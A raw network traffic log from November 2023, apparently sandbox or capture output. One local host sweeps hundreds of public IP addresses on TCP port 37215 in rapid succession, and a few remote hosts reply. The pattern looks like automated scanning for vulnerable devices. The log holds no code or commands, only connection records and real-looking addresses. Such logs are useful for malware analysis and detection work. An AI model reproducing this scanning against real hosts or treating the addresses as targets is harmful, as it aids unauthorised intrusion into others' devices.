Nov 19, 2023 09:16:15.556937933 CET	45796	37215	192.168.2.23	156.89.20.25
Nov 19, 2023 09:16:15.556938887 CET	45796	37215	192.168.2.23	156.243.116.168
Nov 19, 2023 09:16:15.556960106 CET	45796	37215	192.168.2.23	156.238.11.51
Nov 19, 2023 09:16:15.556972980 CET	45796	37215	192.168.2.23	156.133.159.135
Nov 19, 2023 09:16:15.557007074 CET	45796	37215	192.168.2.23	197.74.157.35
Nov 19, 2023 09:16:15.557024956 CET	45796	37215	192.168.2.23	197.31.222.22
Nov 19, 2023 09:16:15.557045937 CET	45796	37215	192.168.2.23	41.187.185.242
Nov 19, 2023 09:16:15.557076931 CET	45796	37215	192.168.2.23	197.188.214.194
Nov 19, 2023 09:16:15.557100058 CET	45796	37215	192.168.2.23	41.209.190.53
Nov 19, 2023 09:16:15.557132006 CET	45796	37215	192.168.2.23	156.21.245.253
Nov 19, 2023 09:16:15.557154894 CET	45796	37215	192.168.2.23	197.107.61.41
Nov 19, 2023 09:16:15.557159901 CET	45796	37215	192.168.2.23	156.50.24.91
Nov 19, 2023 09:16:15.557188988 CET	45796	37215	192.168.2.23	41.143.21.4
Nov 19, 2023 09:16:15.557203054 CET	45796	37215	192.168.2.23	197.2.132.56
Nov 19, 2023 09:16:15.557225943 CET	45796	37215	192.168.2.23	156.230.44.192
Nov 19, 2023 09:16:15.557264090 CET	45796	37215	192.168.2.23	197.47.130.203
Nov 19, 2023 09:16:15.557269096 CET	45796	37215	192.168.2.23	156.240.124.81
Nov 19, 2023 09:16:15.557303905 CET	45796	37215	192.168.2.23	197.187.47.9
Nov 19, 2023 09:16:15.557322025 CET	45796	37215	192.168.2.23	41.27.205.70
Nov 19, 2023 09:16:15.557344913 CET	45796	37215	192.168.2.23	197.228.11.149
Nov 19, 2023 09:16:15.557383060 CET	45796	37215	192.168.2.23	197.47.48.110
Nov 19, 2023 09:16:15.557410955 CET	45796	37215	192.168.2.23	156.60.217.0
Nov 19, 2023 09:16:15.557419062 CET	45796	37215	192.168.2.23	156.235.228.255
Nov 19, 2023 09:16:15.557436943 CET	45796	37215	192.168.2.23	156.90.244.17
Nov 19, 2023 09:16:15.557466030 CET	45796	37215	192.168.2.23	156.131.110.206
Nov 19, 2023 09:16:15.557497978 CET	45796	37215	192.168.2.23	41.28.159.199
Nov 19, 2023 09:16:15.557511091 CET	45796	37215	192.168.2.23	197.198.44.251
Nov 19, 2023 09:16:15.557537079 CET	45796	37215	192.168.2.23	156.111.35.92
Nov 19, 2023 09:16:15.557564974 CET	45796	37215	192.168.2.23	197.240.26.49
Nov 19, 2023 09:16:15.557581902 CET	45796	37215	192.168.2.23	41.25.29.63
Nov 19, 2023 09:16:15.557606936 CET	45796	37215	192.168.2.23	156.174.117.137
Nov 19, 2023 09:16:15.557621002 CET	45796	37215	192.168.2.23	197.182.85.23
Nov 19, 2023 09:16:15.557634115 CET	45796	37215	192.168.2.23	156.223.103.206
Nov 19, 2023 09:16:15.557645082 CET	45796	37215	192.168.2.23	41.55.65.255
Nov 19, 2023 09:16:15.557683945 CET	45796	37215	192.168.2.23	197.113.8.140
Nov 19, 2023 09:16:15.557702065 CET	45796	37215	192.168.2.23	41.3.207.220
Nov 19, 2023 09:16:15.557710886 CET	45796	37215	192.168.2.23	156.202.254.112
Nov 19, 2023 09:16:15.557743073 CET	45796	37215	192.168.2.23	197.140.185.114
Nov 19, 2023 09:16:15.557758093 CET	45796	37215	192.168.2.23	197.13.160.65
Nov 19, 2023 09:16:15.557790041 CET	45796	37215	192.168.2.23	156.119.200.51
Nov 19, 2023 09:16:15.557811975 CET	45796	37215	192.168.2.23	41.169.28.21
Nov 19, 2023 09:16:15.557851076 CET	45796	37215	192.168.2.23	156.106.94.134
Nov 19, 2023 09:16:15.557867050 CET	45796	37215	192.168.2.23	197.189.36.131
Nov 19, 2023 09:16:15.557888985 CET	45796	37215	192.168.2.23	41.164.27.178
Nov 19, 2023 09:16:15.557914019 CET	45796	37215	192.168.2.23	197.195.206.196
Nov 19, 2023 09:16:15.557929993 CET	45796	37215	192.168.2.23	197.154.215.213
Nov 19, 2023 09:16:15.557943106 CET	45796	37215	192.168.2.23	156.188.222.7
Nov 19, 2023 09:16:15.557960987 CET	45796	37215	192.168.2.23	156.140.40.215
Nov 19, 2023 09:16:15.557993889 CET	45796	37215	192.168.2.23	41.121.197.96
Nov 19, 2023 09:16:15.558012962 CET	45796	37215	192.168.2.23	197.127.164.76
Nov 19, 2023 09:16:15.558042049 CET	45796	37215	192.168.2.23	41.123.57.246
Nov 19, 2023 09:16:15.558063030 CET	45796	37215	192.168.2.23	41.52.104.238
Nov 19, 2023 09:16:15.558089018 CET	45796	37215	192.168.2.23	197.222.222.16
Nov 19, 2023 09:16:15.558120966 CET	45796	37215	192.168.2.23	41.24.38.204
Nov 19, 2023 09:16:15.558156013 CET	45796	37215	192.168.2.23	41.206.172.152
Nov 19, 2023 09:16:15.558173895 CET	45796	37215	192.168.2.23	41.248.248.36
Nov 19, 2023 09:16:15.558195114 CET	45796	37215	192.168.2.23	41.137.233.160
Nov 19, 2023 09:16:15.558228016 CET	45796	37215	192.168.2.23	197.66.240.174
Nov 19, 2023 09:16:15.558239937 CET	45796	37215	192.168.2.23	156.35.116.106
Nov 19, 2023 09:16:15.558267117 CET	45796	37215	192.168.2.23	156.133.88.67
Nov 19, 2023 09:16:15.558315039 CET	45796	37215	192.168.2.23	156.121.146.244
Nov 19, 2023 09:16:15.558329105 CET	45796	37215	192.168.2.23	197.222.234.157
Nov 19, 2023 09:16:15.558341026 CET	45796	37215	192.168.2.23	41.133.80.191
Nov 19, 2023 09:16:15.558366060 CET	45796	37215	192.168.2.23	197.164.43.83
Nov 19, 2023 09:16:15.558401108 CET	45796	37215	192.168.2.23	197.73.57.169
Nov 19, 2023 09:16:15.558419943 CET	45796	37215	192.168.2.23	197.102.69.253
Nov 19, 2023 09:16:15.558442116 CET	45796	37215	192.168.2.23	197.116.29.225
Nov 19, 2023 09:16:15.558473110 CET	45796	37215	192.168.2.23	197.242.31.80
Nov 19, 2023 09:16:15.558485031 CET	45796	37215	192.168.2.23	156.248.191.141
Nov 19, 2023 09:16:15.558512926 CET	45796	37215	192.168.2.23	41.225.79.99
Nov 19, 2023 09:16:15.558537006 CET	45796	37215	192.168.2.23	41.234.192.206
Nov 19, 2023 09:16:15.558572054 CET	45796	37215	192.168.2.23	156.123.111.122
Nov 19, 2023 09:16:15.558614016 CET	45796	37215	192.168.2.23	156.89.63.74
Nov 19, 2023 09:16:15.558619976 CET	45796	37215	192.168.2.23	197.242.180.160
Nov 19, 2023 09:16:15.558648109 CET	45796	37215	192.168.2.23	41.14.219.53
Nov 19, 2023 09:16:15.558681011 CET	45796	37215	192.168.2.23	41.182.96.249
Nov 19, 2023 09:16:15.558703899 CET	45796	37215	192.168.2.23	41.86.252.71
Nov 19, 2023 09:16:15.558723927 CET	45796	37215	192.168.2.23	41.185.217.25
Nov 19, 2023 09:16:15.558747053 CET	45796	37215	192.168.2.23	156.107.140.50
Nov 19, 2023 09:16:15.558762074 CET	45796	37215	192.168.2.23	41.152.194.250
Nov 19, 2023 09:16:15.558784008 CET	45796	37215	192.168.2.23	156.165.72.161
Nov 19, 2023 09:16:15.558811903 CET	45796	37215	192.168.2.23	156.54.45.234
Nov 19, 2023 09:16:15.558825016 CET	45796	37215	192.168.2.23	197.26.2.25
Nov 19, 2023 09:16:15.558856010 CET	45796	37215	192.168.2.23	156.77.6.119
Nov 19, 2023 09:16:15.558861017 CET	45796	37215	192.168.2.23	41.209.224.212
Nov 19, 2023 09:16:15.558890104 CET	45796	37215	192.168.2.23	197.19.212.103
Nov 19, 2023 09:16:15.558916092 CET	45796	37215	192.168.2.23	156.70.249.63
Nov 19, 2023 09:16:15.558942080 CET	45796	37215	192.168.2.23	41.215.182.13
Nov 19, 2023 09:16:15.558973074 CET	45796	37215	192.168.2.23	41.43.168.29
Nov 19, 2023 09:16:15.558999062 CET	45796	37215	192.168.2.23	156.105.204.153
Nov 19, 2023 09:16:15.559014082 CET	45796	37215	192.168.2.23	41.230.51.146
Nov 19, 2023 09:16:15.559039116 CET	45796	37215	192.168.2.23	156.175.127.151
Nov 19, 2023 09:16:15.559058905 CET	45796	37215	192.168.2.23	41.39.190.154
Nov 19, 2023 09:16:15.559073925 CET	45796	37215	192.168.2.23	41.221.11.177
Nov 19, 2023 09:16:15.559084892 CET	45796	37215	192.168.2.23	197.3.135.214
Nov 19, 2023 09:16:15.559113026 CET	45796	37215	192.168.2.23	156.83.115.196
Nov 19, 2023 09:16:15.559139967 CET	45796	37215	192.168.2.23	197.112.132.37
Nov 19, 2023 09:16:15.559170008 CET	45796	37215	192.168.2.23	156.57.99.151
Nov 19, 2023 09:16:15.559211969 CET	45796	37215	192.168.2.23	41.23.60.226
Nov 19, 2023 09:16:15.559225082 CET	45796	37215	192.168.2.23	197.238.174.129
Nov 19, 2023 09:16:15.559257030 CET	45796	37215	192.168.2.23	197.88.105.100
Nov 19, 2023 09:16:15.559279919 CET	45796	37215	192.168.2.23	41.210.242.30
Nov 19, 2023 09:16:15.559303999 CET	45796	37215	192.168.2.23	197.76.252.2
Nov 19, 2023 09:16:15.559317112 CET	45796	37215	192.168.2.23	41.170.140.150
Nov 19, 2023 09:16:15.559345961 CET	45796	37215	192.168.2.23	156.245.188.171
Nov 19, 2023 09:16:15.559360981 CET	45796	37215	192.168.2.23	197.202.147.125
Nov 19, 2023 09:16:15.559382915 CET	45796	37215	192.168.2.23	41.56.160.76
Nov 19, 2023 09:16:15.559410095 CET	45796	37215	192.168.2.23	41.191.252.213
Nov 19, 2023 09:16:15.559431076 CET	45796	37215	192.168.2.23	156.118.46.133
Nov 19, 2023 09:16:15.559453964 CET	45796	37215	192.168.2.23	197.120.176.212
Nov 19, 2023 09:16:15.559462070 CET	45796	37215	192.168.2.23	41.83.63.110
Nov 19, 2023 09:16:15.559483051 CET	45796	37215	192.168.2.23	41.225.251.87
Nov 19, 2023 09:16:15.559514046 CET	45796	37215	192.168.2.23	197.172.5.147
Nov 19, 2023 09:16:15.559525013 CET	45796	37215	192.168.2.23	156.172.57.15
Nov 19, 2023 09:16:15.559560061 CET	45796	37215	192.168.2.23	41.247.148.34
Nov 19, 2023 09:16:15.559585094 CET	45796	37215	192.168.2.23	197.228.239.82
Nov 19, 2023 09:16:15.559608936 CET	45796	37215	192.168.2.23	41.68.91.237
Nov 19, 2023 09:16:15.559611082 CET	45796	37215	192.168.2.23	41.191.141.207
Nov 19, 2023 09:16:15.559632063 CET	45796	37215	192.168.2.23	156.210.137.210
Nov 19, 2023 09:16:15.559668064 CET	45796	37215	192.168.2.23	197.97.209.167
Nov 19, 2023 09:16:15.559698105 CET	45796	37215	192.168.2.23	156.116.75.145
Nov 19, 2023 09:16:15.559714079 CET	45796	37215	192.168.2.23	197.215.16.157
Nov 19, 2023 09:16:15.559741020 CET	45796	37215	192.168.2.23	41.180.180.7
Nov 19, 2023 09:16:15.559757948 CET	45796	37215	192.168.2.23	156.106.209.213
Nov 19, 2023 09:16:15.559784889 CET	45796	37215	192.168.2.23	197.53.168.243
Nov 19, 2023 09:16:15.559803963 CET	45796	37215	192.168.2.23	197.183.153.197
Nov 19, 2023 09:16:15.559828997 CET	45796	37215	192.168.2.23	197.215.98.117
Nov 19, 2023 09:16:15.559865952 CET	45796	37215	192.168.2.23	41.17.170.31
Nov 19, 2023 09:16:15.559881926 CET	45796	37215	192.168.2.23	156.2.61.104
Nov 19, 2023 09:16:15.559896946 CET	45796	37215	192.168.2.23	197.188.251.238
Nov 19, 2023 09:16:15.559916019 CET	45796	37215	192.168.2.23	197.147.137.157
Nov 19, 2023 09:16:15.559938908 CET	45796	37215	192.168.2.23	41.239.123.174
Nov 19, 2023 09:16:15.559953928 CET	45796	37215	192.168.2.23	156.54.212.91
Nov 19, 2023 09:16:15.559998035 CET	45796	37215	192.168.2.23	156.255.156.14
Nov 19, 2023 09:16:15.560024977 CET	45796	37215	192.168.2.23	197.45.24.91
Nov 19, 2023 09:16:15.560030937 CET	45796	37215	192.168.2.23	156.7.43.98
Nov 19, 2023 09:16:15.560055017 CET	45796	37215	192.168.2.23	197.130.218.157
Nov 19, 2023 09:16:15.560069084 CET	45796	37215	192.168.2.23	197.218.200.133
Nov 19, 2023 09:16:15.560092926 CET	45796	37215	192.168.2.23	156.241.97.151
Nov 19, 2023 09:16:15.560120106 CET	45796	37215	192.168.2.23	156.165.215.245
Nov 19, 2023 09:16:15.560138941 CET	45796	37215	192.168.2.23	41.98.111.58
Nov 19, 2023 09:16:15.560148954 CET	45796	37215	192.168.2.23	156.231.179.84
Nov 19, 2023 09:16:15.560185909 CET	45796	37215	192.168.2.23	41.80.79.43
Nov 19, 2023 09:16:15.560204029 CET	45796	37215	192.168.2.23	197.176.218.14
Nov 19, 2023 09:16:15.560229063 CET	45796	37215	192.168.2.23	197.98.178.190
Nov 19, 2023 09:16:15.560261011 CET	45796	37215	192.168.2.23	197.203.61.6
Nov 19, 2023 09:16:15.560273886 CET	45796	37215	192.168.2.23	156.134.180.26
Nov 19, 2023 09:16:15.560301065 CET	45796	37215	192.168.2.23	197.75.13.13
Nov 19, 2023 09:16:15.560317993 CET	45796	37215	192.168.2.23	197.67.190.243
Nov 19, 2023 09:16:15.560333014 CET	45796	37215	192.168.2.23	156.243.66.138
Nov 19, 2023 09:16:15.560367107 CET	45796	37215	192.168.2.23	156.83.97.75
Nov 19, 2023 09:16:15.560378075 CET	45796	37215	192.168.2.23	197.181.48.163
Nov 19, 2023 09:16:15.560395956 CET	45796	37215	192.168.2.23	41.67.137.151
Nov 19, 2023 09:16:15.560411930 CET	45796	37215	192.168.2.23	156.146.219.2
Nov 19, 2023 09:16:15.560431957 CET	45796	37215	192.168.2.23	41.170.35.145
Nov 19, 2023 09:16:15.560448885 CET	45796	37215	192.168.2.23	41.242.20.90
Nov 19, 2023 09:16:15.560465097 CET	45796	37215	192.168.2.23	156.97.242.248
Nov 19, 2023 09:16:15.560492992 CET	45796	37215	192.168.2.23	197.94.66.124
Nov 19, 2023 09:16:15.560520887 CET	45796	37215	192.168.2.23	197.75.247.148
Nov 19, 2023 09:16:15.560551882 CET	45796	37215	192.168.2.23	156.101.159.83
Nov 19, 2023 09:16:15.560596943 CET	45796	37215	192.168.2.23	41.158.130.12
Nov 19, 2023 09:16:15.560620070 CET	45796	37215	192.168.2.23	197.112.229.110
Nov 19, 2023 09:16:15.560647011 CET	45796	37215	192.168.2.23	41.106.195.238
Nov 19, 2023 09:16:15.560667992 CET	45796	37215	192.168.2.23	156.38.223.166
Nov 19, 2023 09:16:15.560683012 CET	45796	37215	192.168.2.23	197.106.168.224
Nov 19, 2023 09:16:15.560698986 CET	45796	37215	192.168.2.23	197.116.69.161
Nov 19, 2023 09:16:15.560719013 CET	45796	37215	192.168.2.23	156.138.63.74
Nov 19, 2023 09:16:15.560750961 CET	45796	37215	192.168.2.23	156.151.225.149
Nov 19, 2023 09:16:15.560760975 CET	45796	37215	192.168.2.23	41.1.255.251
Nov 19, 2023 09:16:15.560781956 CET	45796	37215	192.168.2.23	197.99.50.35
Nov 19, 2023 09:16:15.560806990 CET	45796	37215	192.168.2.23	156.107.115.121
Nov 19, 2023 09:16:15.560841084 CET	45796	37215	192.168.2.23	156.242.98.229
Nov 19, 2023 09:16:15.560856104 CET	45796	37215	192.168.2.23	197.133.248.113
Nov 19, 2023 09:16:15.560880899 CET	45796	37215	192.168.2.23	156.174.30.13
Nov 19, 2023 09:16:15.560902119 CET	45796	37215	192.168.2.23	197.239.111.132
Nov 19, 2023 09:16:15.560925007 CET	45796	37215	192.168.2.23	197.173.37.90
Nov 19, 2023 09:16:15.560939074 CET	45796	37215	192.168.2.23	41.13.2.226
Nov 19, 2023 09:16:15.560970068 CET	45796	37215	192.168.2.23	197.14.61.141
Nov 19, 2023 09:16:15.560985088 CET	45796	37215	192.168.2.23	41.90.19.17
Nov 19, 2023 09:16:15.561006069 CET	45796	37215	192.168.2.23	156.24.182.185
Nov 19, 2023 09:16:15.561032057 CET	45796	37215	192.168.2.23	41.248.196.167
Nov 19, 2023 09:16:15.561058998 CET	45796	37215	192.168.2.23	156.143.79.174
Nov 19, 2023 09:16:15.561074972 CET	45796	37215	192.168.2.23	41.253.46.112
Nov 19, 2023 09:16:15.561094046 CET	45796	37215	192.168.2.23	156.198.52.159
Nov 19, 2023 09:16:15.561126947 CET	45796	37215	192.168.2.23	197.208.0.35
Nov 19, 2023 09:16:15.561144114 CET	45796	37215	192.168.2.23	41.167.83.198
Nov 19, 2023 09:16:15.561166048 CET	45796	37215	192.168.2.23	41.184.231.255
Nov 19, 2023 09:16:15.561192036 CET	45796	37215	192.168.2.23	197.177.115.224
Nov 19, 2023 09:16:15.561207056 CET	45796	37215	192.168.2.23	197.252.148.224
Nov 19, 2023 09:16:15.561233997 CET	45796	37215	192.168.2.23	156.180.93.7
Nov 19, 2023 09:16:15.561245918 CET	45796	37215	192.168.2.23	41.105.123.9
Nov 19, 2023 09:16:15.561274052 CET	45796	37215	192.168.2.23	197.28.147.252
Nov 19, 2023 09:16:15.561295986 CET	45796	37215	192.168.2.23	197.44.180.13
Nov 19, 2023 09:16:15.561319113 CET	45796	37215	192.168.2.23	41.223.246.22
Nov 19, 2023 09:16:15.561342955 CET	45796	37215	192.168.2.23	197.5.206.255
Nov 19, 2023 09:16:15.561362028 CET	45796	37215	192.168.2.23	197.17.166.157
Nov 19, 2023 09:16:15.561382055 CET	45796	37215	192.168.2.23	156.240.153.4
Nov 19, 2023 09:16:15.561394930 CET	45796	37215	192.168.2.23	41.227.210.245
Nov 19, 2023 09:16:15.561419964 CET	45796	37215	192.168.2.23	41.41.104.46
Nov 19, 2023 09:16:15.561450958 CET	45796	37215	192.168.2.23	156.238.191.136
Nov 19, 2023 09:16:15.561465979 CET	45796	37215	192.168.2.23	156.113.219.248
Nov 19, 2023 09:16:15.561492920 CET	45796	37215	192.168.2.23	156.108.117.253
Nov 19, 2023 09:16:15.561511040 CET	45796	37215	192.168.2.23	156.46.51.252
Nov 19, 2023 09:16:15.561542988 CET	45796	37215	192.168.2.23	156.65.67.137
Nov 19, 2023 09:16:15.561578989 CET	45796	37215	192.168.2.23	156.184.39.185
Nov 19, 2023 09:16:15.561579943 CET	45796	37215	192.168.2.23	197.60.247.240
Nov 19, 2023 09:16:15.561600924 CET	45796	37215	192.168.2.23	197.241.210.222
Nov 19, 2023 09:16:15.561631918 CET	45796	37215	192.168.2.23	41.131.136.101
Nov 19, 2023 09:16:15.561666965 CET	45796	37215	192.168.2.23	156.92.82.222
Nov 19, 2023 09:16:15.561674118 CET	45796	37215	192.168.2.23	197.102.129.122
Nov 19, 2023 09:16:15.561701059 CET	45796	37215	192.168.2.23	156.195.78.178
Nov 19, 2023 09:16:15.561712027 CET	45796	37215	192.168.2.23	156.156.145.25
Nov 19, 2023 09:16:15.561748981 CET	45796	37215	192.168.2.23	197.20.255.212
Nov 19, 2023 09:16:15.561772108 CET	45796	37215	192.168.2.23	156.159.58.51
Nov 19, 2023 09:16:15.561800957 CET	45796	37215	192.168.2.23	197.255.31.7
Nov 19, 2023 09:16:15.561820030 CET	45796	37215	192.168.2.23	156.51.51.158
Nov 19, 2023 09:16:15.561856985 CET	45796	37215	192.168.2.23	41.145.197.5
Nov 19, 2023 09:16:15.561883926 CET	45796	37215	192.168.2.23	156.2.60.234
Nov 19, 2023 09:16:15.561904907 CET	45796	37215	192.168.2.23	197.135.247.177
Nov 19, 2023 09:16:15.561933041 CET	45796	37215	192.168.2.23	197.0.120.153
Nov 19, 2023 09:16:15.561958075 CET	45796	37215	192.168.2.23	197.231.28.193
Nov 19, 2023 09:16:15.561986923 CET	45796	37215	192.168.2.23	156.234.206.239
Nov 19, 2023 09:16:15.562004089 CET	45796	37215	192.168.2.23	41.38.168.137
Nov 19, 2023 09:16:15.562031031 CET	45796	37215	192.168.2.23	197.46.239.192
Nov 19, 2023 09:16:15.562047005 CET	45796	37215	192.168.2.23	41.134.194.66
Nov 19, 2023 09:16:15.562066078 CET	45796	37215	192.168.2.23	156.40.230.33
Nov 19, 2023 09:16:15.562081099 CET	45796	37215	192.168.2.23	41.21.17.234
Nov 19, 2023 09:16:15.562114954 CET	45796	37215	192.168.2.23	156.186.126.78
Nov 19, 2023 09:16:15.562138081 CET	45796	37215	192.168.2.23	41.229.253.185
Nov 19, 2023 09:16:15.562155008 CET	45796	37215	192.168.2.23	41.76.66.21
Nov 19, 2023 09:16:15.562171936 CET	45796	37215	192.168.2.23	197.84.88.117
Nov 19, 2023 09:16:15.562201023 CET	45796	37215	192.168.2.23	197.202.213.101
Nov 19, 2023 09:16:15.562217951 CET	45796	37215	192.168.2.23	41.168.175.230
Nov 19, 2023 09:16:15.562239885 CET	45796	37215	192.168.2.23	41.11.110.5
Nov 19, 2023 09:16:15.562263966 CET	45796	37215	192.168.2.23	197.253.153.107
Nov 19, 2023 09:16:15.562289953 CET	45796	37215	192.168.2.23	41.95.1.21
Nov 19, 2023 09:16:15.562320948 CET	45796	37215	192.168.2.23	41.34.65.10
Nov 19, 2023 09:16:15.562331915 CET	45796	37215	192.168.2.23	156.236.102.68
Nov 19, 2023 09:16:15.562356949 CET	45796	37215	192.168.2.23	41.148.97.62
Nov 19, 2023 09:16:15.562366962 CET	45796	37215	192.168.2.23	41.139.202.6
Nov 19, 2023 09:16:15.562381983 CET	45796	37215	192.168.2.23	156.167.13.64
Nov 19, 2023 09:16:15.562383890 CET	45796	37215	192.168.2.23	197.4.125.228
Nov 19, 2023 09:16:15.562398911 CET	45796	37215	192.168.2.23	156.223.160.162
Nov 19, 2023 09:16:15.562400103 CET	45796	37215	192.168.2.23	156.82.44.231
Nov 19, 2023 09:16:15.562413931 CET	45796	37215	192.168.2.23	156.166.212.51
Nov 19, 2023 09:16:15.562417984 CET	45796	37215	192.168.2.23	197.154.63.238
Nov 19, 2023 09:16:15.562438011 CET	45796	37215	192.168.2.23	197.236.200.180
Nov 19, 2023 09:16:15.562441111 CET	45796	37215	192.168.2.23	197.195.192.239
Nov 19, 2023 09:16:15.562468052 CET	45796	37215	192.168.2.23	156.125.55.254
Nov 19, 2023 09:16:15.562468052 CET	45796	37215	192.168.2.23	197.22.83.32
Nov 19, 2023 09:16:15.562469959 CET	45796	37215	192.168.2.23	41.216.35.242
Nov 19, 2023 09:16:15.562475920 CET	45796	37215	192.168.2.23	156.185.154.21
Nov 19, 2023 09:16:15.562475920 CET	45796	37215	192.168.2.23	41.149.252.221
Nov 19, 2023 09:16:15.562475920 CET	45796	37215	192.168.2.23	197.199.166.156
Nov 19, 2023 09:16:15.562477112 CET	45796	37215	192.168.2.23	41.227.201.118
Nov 19, 2023 09:16:15.562489033 CET	45796	37215	192.168.2.23	156.137.30.11
Nov 19, 2023 09:16:15.562498093 CET	45796	37215	192.168.2.23	41.94.29.94
Nov 19, 2023 09:16:15.562514067 CET	45796	37215	192.168.2.23	197.51.112.27
Nov 19, 2023 09:16:15.562514067 CET	45796	37215	192.168.2.23	156.211.104.42
Nov 19, 2023 09:16:15.562522888 CET	45796	37215	192.168.2.23	197.140.75.50
Nov 19, 2023 09:16:15.562530994 CET	45796	37215	192.168.2.23	197.126.58.167
Nov 19, 2023 09:16:15.562535048 CET	45796	37215	192.168.2.23	41.98.198.198
Nov 19, 2023 09:16:15.562539101 CET	45796	37215	192.168.2.23	41.22.66.107
Nov 19, 2023 09:16:15.562539101 CET	45796	37215	192.168.2.23	156.133.208.46
Nov 19, 2023 09:16:15.562553883 CET	45796	37215	192.168.2.23	156.195.104.97
Nov 19, 2023 09:16:15.562556982 CET	45796	37215	192.168.2.23	156.31.224.99
Nov 19, 2023 09:16:15.562558889 CET	45796	37215	192.168.2.23	197.38.83.174
Nov 19, 2023 09:16:15.562567949 CET	45796	37215	192.168.2.23	156.117.230.110
Nov 19, 2023 09:16:15.562572956 CET	45796	37215	192.168.2.23	197.39.88.211
Nov 19, 2023 09:16:15.562578917 CET	45796	37215	192.168.2.23	156.28.109.103
Nov 19, 2023 09:16:15.562587976 CET	45796	37215	192.168.2.23	197.147.74.227
Nov 19, 2023 09:16:15.562608004 CET	45796	37215	192.168.2.23	156.49.188.69
Nov 19, 2023 09:16:15.562608004 CET	45796	37215	192.168.2.23	156.143.252.60
Nov 19, 2023 09:16:15.562613010 CET	45796	37215	192.168.2.23	41.141.98.178
Nov 19, 2023 09:16:15.562628031 CET	45796	37215	192.168.2.23	156.239.42.43
Nov 19, 2023 09:16:15.562633991 CET	45796	37215	192.168.2.23	197.107.193.6
Nov 19, 2023 09:16:15.562653065 CET	45796	37215	192.168.2.23	41.188.132.71
Nov 19, 2023 09:16:15.562654018 CET	45796	37215	192.168.2.23	41.44.128.218
Nov 19, 2023 09:16:15.562669039 CET	45796	37215	192.168.2.23	41.177.42.71
Nov 19, 2023 09:16:15.562680960 CET	45796	37215	192.168.2.23	197.207.59.198
Nov 19, 2023 09:16:15.562684059 CET	45796	37215	192.168.2.23	156.238.26.41
Nov 19, 2023 09:16:15.562689066 CET	45796	37215	192.168.2.23	41.141.111.148
Nov 19, 2023 09:16:15.562693119 CET	45796	37215	192.168.2.23	156.150.99.149
Nov 19, 2023 09:16:15.562788963 CET	60756	37215	192.168.2.23	156.230.23.116
Nov 19, 2023 09:16:15.663765907 CET	37215	45796	41.77.113.230	192.168.2.23
Nov 19, 2023 09:16:15.785408020 CET	37215	45796	41.83.63.110	192.168.2.23
Nov 19, 2023 09:16:15.852056026 CET	37215	45796	156.243.10.28	192.168.2.23
Nov 19, 2023 09:16:15.870502949 CET	37215	45796	156.226.14.245	192.168.2.23
Nov 19, 2023 09:16:15.870697975 CET	45796	37215	192.168.2.23	156.226.14.245
Nov 19, 2023 09:16:15.876755953 CET	37215	60756	156.230.23.116	192.168.2.23
Nov 19, 2023 09:16:15.876847982 CET	60756	37215	192.168.2.23	156.230.23.116
Nov 19, 2023 09:16:15.876923084 CET	45796	37215	192.168.2.23	41.156.72.13
Nov 19, 2023 09:16:15.876929045 CET	45796	37215	192.168.2.23	156.17.248.96
Nov 19, 2023 09:16:15.876939058 CET	45796	37215	192.168.2.23	41.121.162.34
Nov 19, 2023 09:16:15.876956940 CET	45796	37215	192.168.2.23	197.182.133.175
Nov 19, 2023 09:16:15.876964092 CET	45796	37215	192.168.2.23	156.11.171.235
Nov 19, 2023 09:16:15.876977921 CET	45796	37215	192.168.2.23	197.64.95.248
Nov 19, 2023 09:16:15.876981974 CET	45796	37215	192.168.2.23	197.111.44.31
Nov 19, 2023 09:16:15.876995087 CET	45796	37215	192.168.2.23	41.99.130.46
Nov 19, 2023 09:16:15.877012968 CET	45796	37215	192.168.2.23	41.130.218.147
Nov 19, 2023 09:16:15.877013922 CET	45796	37215	192.168.2.23	197.81.114.213
Nov 19, 2023 09:16:15.877029896 CET	45796	37215	192.168.2.23	156.57.46.215
Nov 19, 2023 09:16:15.877038002 CET	45796	37215	192.168.2.23	156.109.151.61
Nov 19, 2023 09:16:15.877041101 CET	45796	37215	192.168.2.23	41.188.9.121
Nov 19, 2023 09:16:15.877048016 CET	45796	37215	192.168.2.23	156.253.179.56
Nov 19, 2023 09:16:15.877072096 CET	45796	37215	192.168.2.23	197.137.143.92
Nov 19, 2023 09:16:15.877104044 CET	45796	37215	192.168.2.23	197.125.195.140
Nov 19, 2023 09:16:15.877104044 CET	45796	37215	192.168.2.23	156.3.243.117
Nov 19, 2023 09:16:15.877115011 CET	45796	37215	192.168.2.23	156.210.72.15
Nov 19, 2023 09:16:15.877120018 CET	45796	37215	192.168.2.23	197.118.102.233
Nov 19, 2023 09:16:15.877123117 CET	45796	37215	192.168.2.23	156.100.108.33
Nov 19, 2023 09:16:15.877123117 CET	45796	37215	192.168.2.23	156.141.42.66
Nov 19, 2023 09:16:15.877134085 CET	45796	37215	192.168.2.23	156.78.19.155
Nov 19, 2023 09:16:15.877134085 CET	45796	37215	192.168.2.23	41.75.45.37
Nov 19, 2023 09:16:15.877146006 CET	45796	37215	192.168.2.23	41.191.197.211
Nov 19, 2023 09:16:15.877165079 CET	45796	37215	192.168.2.23	197.83.159.53
Nov 19, 2023 09:16:15.877166986 CET	45796	37215	192.168.2.23	156.103.44.55
Nov 19, 2023 09:16:15.877177954 CET	45796	37215	192.168.2.23	156.138.251.49
Nov 19, 2023 09:16:15.877196074 CET	45796	37215	192.168.2.23	41.202.109.177
Nov 19, 2023 09:16:15.877197981 CET	45796	37215	192.168.2.23	156.81.250.55
Nov 19, 2023 09:16:15.877198935 CET	45796	37215	192.168.2.23	197.165.86.127
Nov 19, 2023 09:16:15.877207994 CET	45796	37215	192.168.2.23	41.8.240.246
Nov 19, 2023 09:16:15.877218008 CET	45796	37215	192.168.2.23	41.12.136.191
Nov 19, 2023 09:16:15.877232075 CET	45796	37215	192.168.2.23	197.217.53.114
Nov 19, 2023 09:16:15.877264023 CET	45796	37215	192.168.2.23	197.152.255.78
Nov 19, 2023 09:16:15.877266884 CET	45796	37215	192.168.2.23	156.134.208.73
Nov 19, 2023 09:16:15.877269030 CET	45796	37215	192.168.2.23	197.163.190.47
Nov 19, 2023 09:16:15.877269030 CET	45796	37215	192.168.2.23	197.48.155.26
Nov 19, 2023 09:16:15.877269030 CET	45796	37215	192.168.2.23	156.219.71.33
Nov 19, 2023 09:16:15.877290010 CET	45796	37215	192.168.2.23	41.83.30.54
Nov 19, 2023 09:16:15.877290010 CET	45796	37215	192.168.2.23	197.39.241.114
Nov 19, 2023 09:16:15.877310038 CET	45796	37215	192.168.2.23	41.138.145.179
Nov 19, 2023 09:16:15.877317905 CET	45796	37215	192.168.2.23	197.65.176.64
